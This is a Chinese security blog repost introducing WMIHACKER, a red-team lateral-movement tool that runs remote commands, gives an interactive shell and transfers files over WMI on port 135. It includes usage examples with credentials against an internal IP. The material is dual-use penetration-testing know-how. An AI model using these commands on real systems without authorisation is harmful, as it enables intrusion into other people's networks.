文章总结： WMIHACKER是一款红队横向移动工具，通过135端口执行远程命令、读取结果和传输文件，无需445端口。支持单命令执行、shell交互、文件上传下载等功能，适用于内网渗透。使用示例包括cscript命令操作，下载需回复关键字。建议在合法测试中使用该工具进行横向移动。
综合评分： 75
文章分类： 红队,内网渗透,渗透测试,安全工具
【红队】横向移动命令执行工具—WMIHACKER
rootclay
贝雷帽SEC
2023年7月16日 00:00
广东
免责声明
本公众号所提供的文字和信息仅供学习和研究使用，请读者自觉遵守法律法规，不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。
工具介绍
WMIHACKER是一款用于远程主机连接工具，通过135端口进行命令执行，执行结果读取以及无需445端口进行文件传输。
工具使用
C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs
__ ____ __ _____ _ _ _____ _ ________ _____\ \ / / \/ |_ _| | | | | /\ / ____| |/ / ____| __ \ \ \ /\ / /| \ / | | | | |__| | / \ | | | ' /| |__ | |__) | \ \/ \/ / | |\/| | | | | __ | / /\ \| | | < | __| | _ / \ /\ / | | | |_| |_ | | | |/ ____ \ |____| . \| |____| | \ \ \/ \/ |_| |_|_____| |_| |_/_/ \_\_____|_|\_\______|_| \_\ v0.6beta By. Xiangshan@360RedTeamUsage: WMIHACKER.vbs /cmd host user pass command GETRES?
WMIHACKER.vbs /shell host user pass
WMIHACKER.vbs /upload host user pass localpath remotepath
WMIHACKER.vbs /download host user pass localpath remotepath
/cmd single command mode host hostname or IP address GETRES? Res Need Or Not, Use 1 Or 0 command the command to run on remote host
有命令回显执行方式
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
无命令回显
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
模拟shell模式
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
文件上传-复制本机calc.exe到远程主机c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
文件下载-下载远程主机calc.exe到本地c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
下载链接
回复关键字【WMIHACKER】获取下载链接
End
“点赞、在看与分享都是莫大的支持”
往期精彩
【红队】红队快速打点工具-POC-bomber v3.0.0 版本
【红队】最新 Burpsuite Professional 2023.6.1
【红队】红队重点攻击系统指纹探测工具 EHole(棱洞)3.1
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：贝雷帽SEC rootclay《【红队】横向移动命令执行工具—WMIHACKER》